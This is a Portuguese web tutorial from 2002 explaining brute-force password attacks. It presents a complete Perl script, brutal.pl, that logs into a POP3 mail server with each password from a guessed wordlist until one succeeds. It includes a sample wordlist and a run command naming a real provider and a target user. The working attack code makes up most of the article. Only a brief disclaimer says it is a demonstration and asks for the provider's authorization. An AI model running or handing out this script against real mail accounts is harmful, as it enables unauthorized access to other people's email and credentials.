O que é e como funciona um ataque de força bruta

Artigo que explica de forma prática uma das mais clássicas técnicas de tentativas de invasão de sistemas. No artigo criaremos um script em Perl que tenta adivinhar a senha de um usuário de email qualquer.

[ Hits: 95.571 ]

Por: Fábio Berbert de Paula em 06/11/2002 | Blog: https://fabio.automatizando.dev


Implementando o brutal.pl



O objetivo do brutal.pl é tentar adivinhar a senha de um usuário de determinado servidor de email. O programa receberá um arquivo com uma lista de senhas chutadas e tentará se conectar ao servidor usando cada uma delas.

Para começar, vamos analisar quais informações serão necessárias ao script. Precisamos saber qual é o servidor de email, o usuário-alvo e caminho para o arquivo com as senhas chutadas. Mas que diabos é este arquivo de senhas chutadas ? Simples, se conheço o usuário joaozinho@bol.com.br e sei que ele adora uma purinha, sua senha deve ser algo parecido com algum tipo ou nome de bebida, assim posso criar um arquivo de senhas chutadas na seguinte forma:
cachaça
pinga
caninha51
martini
vodka
conhaque
...
Você também pode automatizar o processo de criação do arquivo de senhas chutadas através do comando mkpasswd.

A primeira etapa de nosso programa será capturar as informações necessárias ou abortar a execução caso faltem argumentos. No bloco abaixo, executaremos,respectivamente:
  • carregar módulos
  • verificar a quantidade de parâmetros recebidos
  • atribuir parâmetros à variáveis
  • verificar se arquivo de senhas existe
#!/usr/bin/perl

# vamos carregar os módulos usados pelo script
use strict;
use IO::Socket;

if ($#ARGV != 2) {
print "Use: \n\t$0 popserver username passwd_list\n\nOnde:\n";
print "\tpopserver = servidor de email\n\tusername = nome do usuário\n";
print "\tpasswd_list = arquivo com a lista de senhas que serão enviadas para teste\n\n";
exit(0);
}

# atribua os parâmetros à variáveis
my ($server,$user,$pwfile) = @ARGV;

if (! -f $pwfile) {
print "Erro: $pwfile não é um nome de arquivo válido!\n";
exit;
}

Em seguida abriremos o arquivo de senhas para leitura e, para cada senha encontrada, executaremos o procedimento de tentativa de login:
# para cada senha, tente invadir
open(R,$pwfile);
while (<R>) {
chomp;
tryout($server,$user,$_);
}
close(R);
Abaixo as funções tryout e readsock:
sub tryout {
my ($server,$user,$passwd) = @_;
my $state;

my $connex = new IO::Socket::INET->new(
PeerAddr => $server,
PeerPort => "110",
Proto => "tcp",
Type => SOCK_STREAM,
Timeout => "30"
);

if (!defined($connex)) {
print "Erro ao conectar ao servidor $server ...\n";
exit(0);
}

$state = &readsock($connex);
$connex->send("USER $user\r\n");
$state = &readsock($connex);
if ($state !~ /^\+OK/) { next; }
$connex->send("PASS $passwd\r\n");
$state = &readsock($connex);

if ($state =~ /^\+OK/) {
print "Cracked!!! A senha do usuário $user é $passwd\n";
exit;
}

$connex -> close;
sleep(5);
}

sub readsock {
my ($socket) = @_;
my $data = '';
my $buf = '';
while ($buf !~ /\n$/) {
$buf=<$socket>;
$data .= $buf;
}
return $data;
}
Clique aqui para fazer o download do código completo do script comentado no artigo.

Para executar o programa, utilize a seguinte sintaxe:

perl brutal.pl pop.uol.com.br usuario-alvo caminho/arquivo/senhas.txt

Esse programa é apenas uma demonstração das técnicas utilizadas em ataques por força bruta. Um dos principais programas da categoria é o John The Ripper, usado para quebra de senhas criptografadas em servidores UNIX.

Não utilizem este programa sem a autorização prévia de seu provedor Internet.

Atenciosamente,
Fábio Berbert de Paula
fabio@vivaolinux.com.br

Página anterior    

Páginas do artigo
   1. Introdução
   2. Implementando o brutal.pl
Outros artigos deste autor

Baixar posts do Instagram usando Python

VLC, o reprodutor multimídia

Como jogar poker no Full Tilt Poker pelo Linux

Semana da velharia no VOL

Personalizando seu lilo no Debian

Leitura recomendada

Não precisamos de antivírus, eles sim

Instalando e configurando o Nagios 3.3.1 com NDOUtils 1.4

Ferramentas de administração remota

Usando HTTP autenticado no Apache

SSH - Uma breve abordagem

  
Comentários
[1] Comentário enviado por shaitannechrist em 05/10/2007 - 11:12h

hauhsuahsuhsa


Cachaceiro Detected!!!

[2] Comentário enviado por diogovh em 11/11/2014 - 16:50h

belo post cada vez que entro aqui aprendo mais e mais, espero esta no caminho certo para segurança da informação!!!!!


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts